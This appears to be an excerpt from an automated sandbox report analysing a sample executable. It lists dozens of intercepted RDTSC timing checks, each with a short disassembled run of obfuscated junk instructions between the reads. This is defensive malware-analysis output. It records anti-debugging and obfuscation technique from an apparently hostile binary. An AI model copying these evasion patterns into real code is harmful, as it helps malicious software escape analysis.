Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F598 second address: 108F628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add cl, FFFFFFB6h 0x0000000e push 00000000h 0x00000010 add edi, 5EF8A986h 0x00000016 push 3D6B5E68h 0x0000001b push edx 0x0000001c ja 00007FBD38EF616Ch 0x00000022 pop edx 0x00000023 xor dword ptr [esp], 3D6B5EE8h 0x0000002a sub dword ptr [ebp+122D2A9Ah], ecx 0x00000030 push 00000003h 0x00000032 or dword ptr [ebp+122D1AACh], esi 0x00000038 push 00000000h 0x0000003a jo 00007FBD38EF616Ch 0x00000040 add esi, dword ptr [ebp+122D3842h] 0x00000046 push 00000003h 0x00000048 mov dl, 27h 0x0000004a push 992F358Ch 0x0000004f jmp 00007FBD38EF6171h 0x00000054 xor dword ptr [esp], 592F358Ch 0x0000005b jo 00007FBD38EF616Ah 0x00000061 push ebx 0x00000062 push ebx 0x00000063 pop edx 0x00000064 pop ecx 0x00000065 lea ebx, dword ptr [ebp+124513D6h] 0x0000006b mov edi, dword ptr [ebp+122D29E1h] 0x00000071 xchg eax, ebx 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 jne 00007FBD38EF6166h 0x0000007b pushad 0x0000007c popad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F628 second address: 108F62E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F62E second address: 108F632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F775 second address: 108F779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F7B6 second address: 108F81F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBD38EF6175h 0x00000008 jmp 00007FBD38EF616Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FBD38EF6168h 0x00000018 pop edx 0x00000019 nop 0x0000001a pushad 0x0000001b mov di, dx 0x0000001e je 00007FBD38EF616Ch 0x00000024 popad 0x00000025 push 00000000h 0x00000027 pushad 0x00000028 sub ah, 0000000Eh 0x0000002b popad 0x0000002c call 00007FBD38EF6169h 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FBD38EF6174h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F81F second address: 108F851 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBD3971C787h 0x00000008 jmp 00007FBD3971C77Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F851 second address: 108F898 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBD38EF616Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push eax 0x00000010 jmp 00007FBD38EF616Ch 0x00000015 pop eax 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a jmp 00007FBD38EF6176h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F898 second address: 108F89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F89E second address: 108F8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F8A3 second address: 108F8AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FBD3971C776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E40A second address: 107E41F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBD38EF6168h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E41F second address: 107E424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF1B4 second address: 10AF1BE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBD38EF6166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF615 second address: 10AF61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF761 second address: 10AF772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBD38EF616Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF8E8 second address: 10AF90C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C77Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBD3971C784h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AF90C second address: 10AF911 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFE84 second address: 10AFE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFE8A second address: 10AFE9A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFE9A second address: 10AFEB2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FBD3971C776h 0x00000012 jne 00007FBD3971C776h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AFEB2 second address: 10AFEB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4032 second address: 10A404B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD3971C785h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A404B second address: 10A4056 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4056 second address: 10A4067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FBD3971C77Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A4067 second address: 10A4079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007FBD38EF616Ch 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B044E second address: 10B0453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0DEF second address: 10B0DFF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FBD38EF6185h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084CDF second address: 1084CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084CE3 second address: 1084CE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B79A1 second address: 10B79AB instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B79AB second address: 10B79B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6339 second address: 10B6343 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6A9A second address: 10B6A9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6A9F second address: 10B6AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jl 00007FBD3971C776h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB5D7 second address: 10BB5FB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBD38EF6166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FBD38EF617Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA9EE second address: 10BAA12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBD3971C77Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB2E9 second address: 10BB2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB46E second address: 10BB474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB474 second address: 10BB478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB478 second address: 10BB493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jo 00007FBD3971C77Ch 0x0000000d jnc 00007FBD3971C776h 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007FBD3971C776h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD163 second address: 10BD178 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF616Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD178 second address: 10BD17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD17D second address: 10BD183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD183 second address: 10BD187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD187 second address: 10BD18B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDC16 second address: 10BDC1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDC1C second address: 10BDC54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF616Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FBD38EF616Fh 0x00000011 xchg eax, ebx 0x00000012 push ecx 0x00000013 movzx edi, di 0x00000016 pop edi 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a jbe 00007FBD38EF616Ch 0x00000020 js 00007FBD38EF6166h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDC54 second address: 10BDC63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBD3971C77Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDC63 second address: 10BDC85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF6170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDC85 second address: 10BDC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDD21 second address: 10BDD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDD25 second address: 10BDD29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDD29 second address: 10BDD2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDDE5 second address: 10BDDF6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDDF6 second address: 10BDDFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BDDFA second address: 10BDE13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD3971C781h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE07A second address: 10BE07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE25A second address: 10BE264 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE264 second address: 10BE268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE2F3 second address: 10BE2F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE2F9 second address: 10BE2FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BE878 second address: 10BE87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF198 second address: 10BF1F4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBD38EF6178h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f jns 00007FBD38EF616Ch 0x00000015 mov esi, dword ptr [ebp+122D367Eh] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007FBD38EF6168h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000019h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 mov dword ptr [ebp+1247CD60h], eax 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF1F4 second address: 10BF1FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF1FA second address: 10BF1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF1FF second address: 10BF204 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C01A6 second address: 10C0245 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FBD38EF6168h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007FBD38EF6168h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f jmp 00007FBD38EF6179h 0x00000044 mov dword ptr [ebp+122D2C0Eh], edi 0x0000004a push 00000000h 0x0000004c mov esi, dword ptr [ebp+122D38CEh] 0x00000052 xchg eax, ebx 0x00000053 jo 00007FBD38EF6185h 0x00000059 pushad 0x0000005a jl 00007FBD38EF6166h 0x00000060 jmp 00007FBD38EF6177h 0x00000065 popad 0x00000066 push eax 0x00000067 pushad 0x00000068 pushad 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C149C second address: 10C14A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C201B second address: 10C2020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C14A0 second address: 10C14A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C667B second address: 10C6685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6948 second address: 10C694E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C78C6 second address: 10C78DE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBD38EF616Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C78DE second address: 10C78E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C78E4 second address: 10C78E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CB4F8 second address: 10CB502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBD3971C776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA757 second address: 10CA75B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CB502 second address: 10CB506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CB5C8 second address: 10CB5D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FBD38EF6166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD8FE second address: 10CD903 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D088E second address: 10D08A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBD38EF616Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D1B1A second address: 10D1B24 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBD3971C77Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D29EE second address: 10D29F8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBD38EF6166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0978 second address: 10D098A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FBD3971C776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4982 second address: 10D498D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBD38EF6166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D098A second address: 10D098E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D58A3 second address: 10D58D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBD38EF6174h 0x00000008 jmp 00007FBD38EF616Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jnp 00007FBD38EF616Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 jng 00007FBD38EF6166h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D39FF second address: 10D3A7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FBD3971C778h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 cmc 0x00000024 push dword ptr fs:[00000000h] 0x0000002b and ebx, dword ptr [ebp+122D296Dh] 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 mov eax, dword ptr [ebp+122D15C9h] 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007FBD3971C778h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 0000001Ah 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 mov edi, dword ptr [ebp+122D38AAh] 0x0000005e xor dword ptr [ebp+122D1AF5h], ecx 0x00000064 push FFFFFFFFh 0x00000066 mov dword ptr [ebp+1247A58Fh], ecx 0x0000006c nop 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D098E second address: 10D09A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBD38EF6171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
